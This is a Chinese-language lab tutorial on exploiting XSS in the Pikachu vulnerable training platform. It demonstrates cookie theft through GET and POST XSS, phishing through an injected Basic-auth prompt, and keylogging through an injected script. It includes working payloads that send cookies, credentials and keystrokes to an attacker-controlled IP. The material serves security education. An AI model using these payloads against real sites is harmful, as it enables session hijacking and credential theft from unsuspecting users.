將進行下圖3個實驗,更好的來理解xss的危害和原理
先去修改下Pikachu靶機中的,cookie.php修改成自己的ip
實驗1:xss如何獲取cookie?
只需要將 Pikachu靶機中的pkxss文件復制到攻擊機中的站點(www)下即可。
登入下
默認沒任何數據
1.1 GET型XSS利用:cookie獲取
先將字符長度的限制給修改掉
pkxss后台:
http://192.168.43.117/pkxss/pkxss_login.php
現在是沒任何數據的
在輸入框中輸入下面語句,輸入完后會重定向到Pikachu的首頁
<script>document.location = 'http://192.168.43.117/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
刷新pkxss后台
在實際的場景中我們可以把 紅框選中的url發送給用戶,一旦他訪問啦這個鏈接,我們便會獲得他的cookie值
上面我們做的GET型XSS的利用,下面我們來演示
1.2 POST型XSS的利用:cookie獲取
首先我們先來查看下,post(xss)的情況,登入下,用戶:admin,密碼:123456,,提交參數,並抓包
我們可以看到它並沒有在url里傳遞參數
抓包,分析。
通過post方式傳到后台的。雖然這里也存在xss,但請求是post方式發送的,我們無法將惡意代碼直接嵌到url中發送給目標
這種情況下應該怎么弄?
攻擊者偽造表單自動提交頁面
原理圖(紅框選中部分和上面的get型原理是一樣的),
接下來我們看下讓用戶訪問的,偽造表單自動提交頁面(在Pikachu中的pkxss下的xcookie下的post.html)
並修改漏洞頁面為自己Pikachu靶機的ip,pkxss后台為自己的ip。為了方便也可以,將漏洞頁面和pkxss搭建在一台主機上。
修改完后記得先去重啟下phpstudy服務(如何用的別的軟件,都一樣,重啟下環境服務就行)
修改完后,復制到,其他主機站點(www)下。
模擬的惡意站點:
http://192.168.43.118/post.html
當有用戶點這個鏈接時,,就會實現我們的攻擊目的。
實驗2:釣魚攻擊
思路:在一個存在xss漏洞上的頁面上嵌入一個鏈接請求,請求會返回一個Basic認證的一個頭部。
若用戶信息安全意識不夠,輸入了用戶和密碼,那么這些會被發送到pkxss后台
我們的實驗用 存儲型xss模塊演示
我們只需要在這個存儲型的頁面上去,嵌入一個能夠訪問我們后台的返回Basic認證的標簽就行,
這里可以用a標簽、img、<script>
<img src="http://192.168.43.117/pkxss/xfish/fish.php" />
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>
查看下fish.php源碼,其中location(重定向)換成自己的ip
和我們之前獲取cookie一樣,釣魚的后台也有個接口(xfish.php)
獲取遠程的數據,通過get方式去獲取賬號密碼存到庫里面。
返回輸入框,輸入(其實里面沒有什么內容,只是用src調用我們的遠端php文件)
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>
若輸入了賬號和密碼,去pkxss后台可查看
實驗3:xss獲取鍵盤記錄
在實驗前,我們先了解下什么是跨越
為什么要有同源策略:
A登入了淘寶,攻擊者向A發送了一個惡意鏈接urlb:http://www.giao你cookie.com
如果沒有同源策略不用xss和其他漏洞就能讀你的cookie信息,即urlb上的js可以操作A的內容(如:獲取cookie等)
有啦同源策略(所有的瀏覽器共同約定的同源策略),就限制啦這種情況
再比如:
一個惡意站點A上使用啦<iframe src= "B站點登陸頁面" > ,發送該惡意url到攻擊對象,攻擊對象登陸后如果,沒有同源策略,
則A上的JS即可獲取B站點的登錄信息。
開始實驗
我們仍然是用存儲型xss來演示,先看下pkxss后台的鍵盤記錄
修改ip,ip為自己pkxss后台的ip地址
返回輸入框,
<script src= "http://192.168.43.117/pkxss/rkeypress/rk.js"></script>
這一策略就違反啦同源策略,(ajax)
打開瀏覽器控制台
隨着鍵盤的輸入,會顯示錯誤。(當然這時,pkxss后台也是沒有鍵盤記錄的)
由於192.168.43.117/pkxss/rkeypress/rkserver.php是攻擊者自己搭建的,
攻擊者可以允許所有的人跨域請求他,因為這個網站是攻擊者自己的,
為了實現攻擊目的,可以rkserver.php把里面的Access-Control允許所有人訪問。
這樣的話,存在xss漏洞的頁面調js跨越請求…43.117的時候就可以正常訪問啦。
改完,在頁面輸入后,pkxss后台會有鍵盤記錄。